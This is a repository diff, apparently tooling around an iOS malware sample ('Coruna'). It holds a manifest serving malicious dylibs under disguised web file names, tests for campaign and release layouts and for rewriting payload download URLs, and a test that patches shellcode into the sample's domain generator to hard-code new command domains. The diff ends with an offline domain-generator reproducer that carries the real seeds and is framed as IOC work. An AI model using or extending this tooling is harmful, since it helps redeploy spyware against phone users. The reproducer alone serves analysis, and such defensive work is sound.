"key": "67a37359ad3e7a67cdc845777877c3568222ffab5f2d1b0d842106cea320189b",
"group": "B"
},
"630c2b42300333d91588353d43afab9ec8325e09": {
"key": "75c803ca046bbd54ee11c49874692987987d0f0ed1c2bfa291e20b75c33d8797",
"group": "B"
},
"7cb20652ef7156e931f894dd3d99f24601b80368": {
"key": "4eb362e059e8a6c759a648dede5e616fdf99fedf384b91e8ced94a0e41bf2587",
"group": "B"
},
"7f208248c748f97956fe4a7cf246c91235852e67": {
"key": "8808834fb2656ff937e6e0f737f1074790bd8be6cd62ddf7dd6133a04c4eb471",
"group": "B"
}
}
}
+210
View File
@@ -0,0 +1,210 @@
[
{
"wire": "erupt_flee.js",
"member": "tmp.dylib",
"expect_channel_hits": 2,
"original_size": 2589808,
"original_sha256": "b9de2658e4f1089c05479482a9fbc09f4a5df9117cecc6222171e9b263baae54",
"source_rel": "source/sync_dylibs/tmp.dylib"
},
{
"wire": "swap-ritual.ts",
"member": "webclip.dylib",
"expect_channel_hits": 2,
"original_size": 341456,
"original_sha256": "89e0eeecf82c52c775cd9e78fc065775b2223680fe2b4e9dd2ae7fdf3b39348b",
"source_rel": "source/sync_dylibs/webclip.dylib"
},
{
"wire": "short_thing.js",
"member": "whatsapp_notnotify.dylib",
"expect_channel_hits": 0,
"original_size": 165864,
"original_sha256": "0a9742041d6a053cbaaf4ef54484fcd696dc059bab1680c4c5686c1dc7593e1d",
"source_rel": "source/sync_dylibs/whatsapp_notnotify.dylib"
},
{
"wire": "aware_retreat.css",
"member": "MarqueeLabel.dylib",
"expect_channel_hits": 2,
"original_size": 324688,
"original_sha256": "f258c9777e1772d214539843123d54dfae4848193a768f0aac321289c656fe88",
"source_rel": "source/sync_dylibs/MarqueeLabel.dylib"
},
{
"wire": "wash_indicate.js",
"member": "ReachabilitySwift.dylib",
"expect_channel_hits": 2,
"original_size": 373304,
"original_sha256": "c74d4b596827b937c9bd772daade43274fa1dce2c910779ad19de7a16377ea48",
"source_rel": "source/sync_dylibs/ReachabilitySwift.dylib"
},
{
"wire": "entry-praise.htm",
"member": "BranchDeepLinker.dylib",
"expect_channel_hits": 2,
"original_size": 340040,
"original_sha256": "6af8b7d5b091472d497728eb27d82a979fcd5795fbef99e92e09328272927cfb",
"source_rel": "source/sync_dylibs/BranchDeepLinker.dylib"
},
{
"wire": "card_alcohol.htm",
"member": "IQKeyboardRetainer.dylib",
"expect_channel_hits": 2,
"original_size": 324232,
"original_sha256": "92a2c91408516c7390486fc3597cb9998a0f3e959db485be6d477cd897f08908",
"source_rel": "source/sync_dylibs/IQKeyboardRetainer.dylib"
},
{
"wire": "curious-tuna.ts",
"member": "LottieAnimation.dylib",
"expect_channel_hits": 2,
"original_size": 389600,
"original_sha256": "93ec748ddefdc3a464f2a5fa492400c005c8d9c6cc432992a1de58ae5b062708",
"source_rel": "source/sync_dylibs/LottieAnimation.dylib"
},
{
"wire": "valve-okay.htm",
"member": "MasonryConstraint.dylib",
"expect_channel_hits": 2,
"original_size": 390024,
"original_sha256": "27958ad317735e9ec4527b8e163e215c255aa5deeb26240e1a3059483fb9d7d3",
"source_rel": "source/sync_dylibs/MasonryConstraint.dylib"
},
{
"wire": "squirrel-chuckle.css",
"member": "AmplitudeSession.dylib",
"expect_channel_hits": 2,
"original_size": 542992,
"original_sha256": "7411405d63d405b869cce07a01fbe6f0404429096cb693f2690f833a2030008a",
"source_rel": "source/sync_dylibs/AmplitudeSession.dylib"
},
{
"wire": "range_hockey.ts",
"member": "CocoaLumberjack.dylib",
"expect_channel_hits": 2,
"original_size": 340832,
"original_sha256": "38cf5b393ce9a85a671df0c317c404fedcd2dadafa2f51cef51e68c9264352cc",
"source_rel": "source/sync_dylibs/CocoaLumberjack.dylib"
},
{
"wire": "exact_unveil.html",
"member": "SAMKeychainStore.dylib",
"expect_channel_hits": 2,
"original_size": 2493624,
"original_sha256": "e83e85308421cf5012bc5126dda9958032fa508e1416c8e4b59dfa9e09643f35",
"source_rel": "source/sync_dylibs/SAMKeychainStore.dylib"
},
{
"wire": "cradle-barely.html",
"member": "RealmDatabase.dylib",
"expect_channel_hits": 2,
"original_size": 389720,
"original_sha256": "de1fa62e5c2a018d25d618a50ca23696c79d549b4715015eb5816dd20cb24d76",
"source_rel": "source/sync_dylibs/RealmDatabase.dylib"
},
{
"wire": "enough_lend.ts",
"member": "MixpanelAnalytics.dylib",
"expect_channel_hits": 2,
"original_size": 306888,
"original_sha256": "93f3cfe86957311c1a57ff3b80db66bb1353a5bb95457f96721597f6374495c2",
"source_rel": "source/sync_dylibs/MixpanelAnalytics.dylib"
},
{
"wire": "page_human.css",
"member": "AdjustEventTracker.dylib",
"expect_channel_hits": 2,
"original_size": 342056,
"original_sha256": "cb288f27aaad2a8c162f87e7d7d8a459fbf752028eb57878727c51cdd1ad67c7",
"source_rel": "source/sync_dylibs/AdjustEventTracker.dylib"
},
{
"wire": "mouse_announce.js",
"member": "ChameleonFramework.dylib",
"expect_channel_hits": 2,
"original_size": 323856,
"original_sha256": "bf445d1f7e568f4c29d80c3d44d79a44b87a6bd9ecb7f182da9578ab56b55fdb",
"source_rel": "source/sync_dylibs/ChameleonFramework.dylib"
},
{
"wire": "canal_sugar.htm",
"member": "SwiftyJSONParser.dylib",
"expect_channel_hits": 2,
"original_size": 406736,
"original_sha256": "1eeb810a9d18918d89597a39c931dc6131fac045df1d23c1b53e1480e711f509",
"source_rel": "source/sync_dylibs/SwiftyJSONParser.dylib"
},
{
"wire": "left-case.css",
"member": "PINRemoteImage.dylib",
"expect_channel_hits": 2,
"original_size": 375544,
"original_sha256": "43b585dd77f3ba376083674f77925e32b9a11352757f262e11f9304cde68e347",
"source_rel": "source/sync_dylibs/PINRemoteImage.dylib"
},
{
"wire": "diagram-ship.css",
"member": "YYImageDecoder.dylib",
"expect_channel_hits": 2,
"original_size": 373824,
"original_sha256": "4afe15eb205630bbc75a3d3256d8f708b67f1fb6d315b878f418aaaa64b7965a",
"source_rel": "source/sync_dylibs/YYImageDecoder.dylib"
},
{
"wire": "shrimp-artefact.htm",
"member": "AppsFlyerConversion.dylib",
"expect_channel_hits": 2,
"original_size": 6794416,
"original_sha256": "f6c26a2c3553e2ce472e1ab09a831b99bb2a09653f1160ebea3aae0c4ce8ddb3",
"source_rel": "source/sync_dylibs/AppsFlyerConversion.dylib"
},
{
"wire": "fresh_sausage.js",
"member": "TPKeyboardAvoiding.dylib",
"expect_channel_hits": 2,
"original_size": 323832,
"original_sha256": "8322922837b8420e6b91fbd52ac4ca3fa091de6a82442f2a6c5296258ae7ff44",
"source_rel": "source/sync_dylibs/TPKeyboardAvoiding.dylib"
},
{
"wire": "win_wife.css",
"member": "MBProgressOverlay.dylib",
"expect_channel_hits": 2,
"original_size": 2443128,
"original_sha256": "d421f7997509fc2e5655b88955e42ba7f92cd8ebef0da5507747caf36b90ed13",
"source_rel": "source/sync_dylibs/MBProgressOverlay.dylib"
},
{
"wire": "future-destroy.htm",
"member": "libCoreSymbolicationHelper.dylib",
"expect_channel_hits": 0,
"original_size": 2675488,
"original_sha256": "5110162dc99f949d6c9851b72217f7e45cb7d66a0dfa2dd354c0953ebda57711",
"source_rel": "source/sync_dylibs/libCoreSymbolicationHelper.dylib"
},
{
"wire": "chunk_hen.ts",
"member": "libAggregateDictionaryClient.dylib",
"expect_channel_hits": 2,
"original_size": 440880,
"original_sha256": "51a5904abf3dacb554989b7c04e7f9e6a169bd4f6faba1d3bf8f11e7e5ad550d",
"source_rel": "source/sync_dylibs/libAggregateDictionaryClient.dylib"
},
{
"wire": "candy_ketchup.html",
"member": "WeChat.dylib",
"expect_channel_hits": 2,
"original_size": 1924696,
"original_sha256": "d8ea6130575137b50db4df72a0f07dd03f118edc90bbad840c5c369523d7d8d1",
"source_rel": "source/sync_dylibs/WeChat.dylib"
},
{
"wire": "horror-monster.ts",
"member": "libDataAccessServices.dylib",
"expect_channel_hits": 2,
"original_size": 447544,
"original_sha256": "42d13c8740ebf56e81e316406a3be8c1dd14ecffab2df2916144327d14f63af1",
"source_rel": "source/sync_dylibs/libDataAccessServices.dylib"
}
]
@@ -0,0 +1,50 @@
import tempfile
import unittest
from pathlib import Path
import sys
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import _common
from new_project import release_files
class ChannelLayoutTest(unittest.TestCase):
def test_shared_layout_web_under_channel(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
channel = "a" * 32
_common.set_tree_root(root, channel=channel, shared_layout=True)
self.assertEqual(_common.CAMPAIGN_DIR, root.resolve() / "web" / channel)
self.assertEqual(_common.SYNC_DIR, root.resolve() / "sync")
def test_legacy_layout_web_flat(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
_common.set_tree_root(root, channel="a" * 32, shared_layout=False)
self.assertEqual(_common.CAMPAIGN_DIR, root.resolve() / "web")
self.assertEqual(_common.SYNC_DIR, root.resolve() / "sync")
def test_release_manifest_files_are_relative_and_hashed(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
channel = "b" * 32
(root / "web" / channel).mkdir(parents=True)
(root / "sync").mkdir()
(root / "web" / channel / "support.html").write_bytes(b"support")
(root / "sync" / "daily.html").write_bytes(b"daily")
files = release_files(root, channel)
self.assertEqual(
sorted(item["path"] for item in files),
sorted([f"web/{channel}/support.html", "sync/daily.html"]),
)
self.assertTrue(all(len(str(item["sha256"])) == 64 for item in files))
if __name__ == "__main__":
unittest.main()
@@ -0,0 +1,82 @@
"""Tests for fixed-domain DGA discovery / shellcode placement."""
from __future__ import annotations
import struct
import sys
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
from _common import CORE_DYLIB, GROUP_DYLIBS # noqa: E402
from _domain_patch import ( # noqa: E402
_AUTIBSP,
_PACIBSP,
_discover_dga,
iter_slices,
patch_fixed_domains_in_dylib,
)
class DiscoverDgaTests(unittest.TestCase):
def test_group_b_entry_is_pacibsp_not_prev_tail_branch(self) -> None:
blob = GROUP_DYLIBS["B"].read_bytes()
entry, body, end = _discover_dga(blob)
self.assertEqual(body, 0x24E5C)
# Real entry is pacibsp; the word at body-8 is the *previous* function's `b`.
self.assertEqual(entry, body - 4)
self.assertEqual(struct.unpack_from("<I", blob, entry)[0], _PACIBSP)
prev_b = struct.unpack_from("<I", blob, body - 8)[0]
self.assertEqual(prev_b & 0xFC000000, 0x14000000)
# Patch window must cover the arm64e autibsp return sequence.
self.assertEqual(struct.unpack_from("<I", blob, body + 0x360)[0], _AUTIBSP)
self.assertGreater(end, body + 0x360)
def test_group_a_arm64_entry_is_body(self) -> None:
blob = GROUP_DYLIBS["A"].read_bytes()
entry, body, end = _discover_dga(blob)
self.assertEqual(entry, body)
self.assertLess(entry, end)
def test_core_arm64e_slice_entry_is_pacibsp(self) -> None:
data = CORE_DYLIB.read_bytes()
pac_hits = 0
for sl in iter_slices(data):
blob = data[sl.file_offset : sl.file_offset + sl.size]
entry, body, _end = _discover_dga(blob)
if body >= 4 and struct.unpack_from("<I", blob, body - 4)[0] == _PACIBSP:
pac_hits += 1
self.assertEqual(entry, body - 4)
self.assertGreaterEqual(pac_hits, 1)
class FixedDomainPatchTests(unittest.TestCase):
def test_group_b_shellcode_starts_with_pacibsp(self) -> None:
src = GROUP_DYLIBS["B"].read_bytes()
# Use seeds already present in the pristine type0x01.
from _common import ORIGINAL_DEPLOYMENT_SEED, ORIGINAL_REPORTING_SEED
out = patch_fixed_domains_in_dylib(
src,
["kklsdfw.cc"],
["ttrrood.cc"],
deployment_seed=ORIGINAL_DEPLOYMENT_SEED,
reporting_seed=ORIGINAL_REPORTING_SEED,
label="test-B",
)
entry, body, end = _discover_dga(src)
self.assertEqual(struct.unpack_from("<I", out, entry)[0], _PACIBSP)
# Must not overwrite the previous function's trailing branch.
self.assertEqual(
struct.unpack_from("<I", out, body - 8)[0],
struct.unpack_from("<I", src, body - 8)[0],
)
self.assertIn(b"kklsdfw.cc\x00", out[entry:end])
self.assertIn(b"ttrrood.cc\x00", out[entry:end])
if __name__ == "__main__":
unittest.main()
@@ -0,0 +1,62 @@
import json
import sys
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
from patch_core import update_daily_hashes
class UpdateDailyHashesTest(unittest.TestCase):
def test_rewrites_all_urls_to_shared_sync_path(self) -> None:
channel = "a" * 32
source = {
"core": {
"url": "http://[HOST_PLACEHOLDER]/sync/erupt_flee.js",
"sha256": "old",
"size": 1,
},
"springboard_entries": [
{
"url": "https://[HOST_PLACEHOLDER]/sync/spring.js",
"sha256": "old",
"size": 2,
}
],
"entries": [
{
"url": "http://[HOST_PLACEHOLDER]/sync/entry.js",
"sha256": "old",
"size": 3,
}
],
}
hashes = {
"erupt_flee.js": ("core-hash", 10),
"spring.js": ("spring-hash", 20),
"entry.js": ("entry-hash", 30),
}
result = json.loads(
update_daily_hashes(
json.dumps(source).encode(),
hashes,
channel=channel,
)
)
prefix = "https://[HOST_PLACEHOLDER]/sync/"
self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js")
self.assertEqual(result["core"]["sha256"], "core-hash")
self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js")
self.assertEqual(result["springboard_entries"][0]["size"], 20)
self.assertEqual(result["entries"][0]["url"], prefix + "entry.js")
self.assertNotIn("/channel/", json.dumps(result))
if __name__ == "__main__":
unittest.main()
+1
View File
@@ -0,0 +1 @@
"""Vendored offline helpers (no network)."""
File diff suppressed because it is too large Load Diff
+142
View File
@@ -0,0 +1,142 @@
#!/usr/bin/env python3
"""Offline reproducer for the Coruna PLServerPool domain generator.
This script performs no DNS lookups and makes no network requests. It is
intended for IOC generation and static-analysis verification only.
"""
from __future__ import annotations
import argparse
MASK32 = 0xFFFFFFFF
HASH_SEED = 0x9E3779B1
MURMUR_M = 0x5BD1E995
ALNUM = "abcdefghijklmnopqrstuvwxyz0123456789"
ALNUM_HYPHEN = "abcdefghijklmnopqrstuvwxyz0123456789-"
TLDS = (
".com",
".net",
".org",
".cc",
".so",
".online",
".cfd",
".site",
".lol",
".net", # Deliberately duplicated in the sample's 15-entry table.
".live",
".store",
".app",
".icu",
".info",
)
KNOWN_SEEDS = {
"deployment": "09d0b8d58a71653cd1c89c64c866f2e6",
"reporting": "2d2aebba0bf3d7d694194a7ab93b0a96",
"placeholder-deployment": "UNDEFINED_DEPLOYMENT_SEED",
"placeholder-reporting": "UNDEFINED_REPORTING_SEED",
}
def murmur_hash2(value: str, seed: int = HASH_SEED) -> int:
data = value.encode("utf-8")
result = (seed ^ len(data)) & MASK32
offset = 0
while offset + 4 <= len(data):
block = int.from_bytes(data[offset : offset + 4], "little")
block = (block * MURMUR_M) & MASK32
block ^= block >> 24
block = (block * MURMUR_M) & MASK32
result = (result * MURMUR_M) & MASK32
result ^= block
offset += 4
tail = data[offset:]
if len(tail) == 3:
result ^= tail[2] << 16
if len(tail) >= 2:
result ^= tail[1] << 8
if len(tail) >= 1:
result ^= tail[0]
result = (result * MURMUR_M) & MASK32
result ^= result >> 13
result = (result * MURMUR_M) & MASK32
result ^= result >> 15
return result & MASK32
def xorshift32(state: int) -> int:
state ^= (state << 13) & MASK32
state ^= state >> 17
state ^= (state << 5) & MASK32
return state & MASK32
def generate_domains(seed: str, count: int = 5) -> list[str]:
"""Generate the sample's externally used candidate slice.
The native helper builds 512 strings internally, while PLServerPool asks
for and retains the first five. ``count`` is therefore capped at 512 for
analysis, although five is the operational pool size in this build.
"""
if not 1 <= count <= 512:
raise ValueError("count must be between 1 and 512")
base_hash = murmur_hash2(seed)
domains: list[str] = []
for index in range(512):
state = murmur_hash2(f"{seed}{index}") ^ base_hash
if state == 0:
state = 1
state = xorshift32(state)
label_length = 16 + state % 9
state = xorshift32(state)
label = ALNUM[state % len(ALNUM)]
for _ in range(1, label_length - 1):
state = xorshift32(state)
alphabet = ALNUM if label[-1] == "-" else ALNUM_HYPHEN
label += alphabet[state % len(alphabet)]
state = xorshift32(state)
label += ALNUM[state % len(ALNUM)]
state = xorshift32(state)
domains.append(f"www.{label}{TLDS[state % len(TLDS)]}")
return domains[:count]
def main() -> None:
parser = argparse.ArgumentParser(
description="Reproduce Coruna DGA candidates offline (no network access)."
)
parser.add_argument(
"seed",
nargs="?",
default="deployment",
help=(
"deployment, reporting, placeholder-deployment, "
"placeholder-reporting, or a literal seed"
),
)
parser.add_argument("-n", "--count", type=int, default=5)
args = parser.parse_args()
seed = KNOWN_SEEDS.get(args.seed, args.seed)
print(f"seed={seed}")
for index, domain in enumerate(generate_domains(seed, args.count), 1):
print(f"{index:03d} {domain}")
if __name__ == "__main__":
main()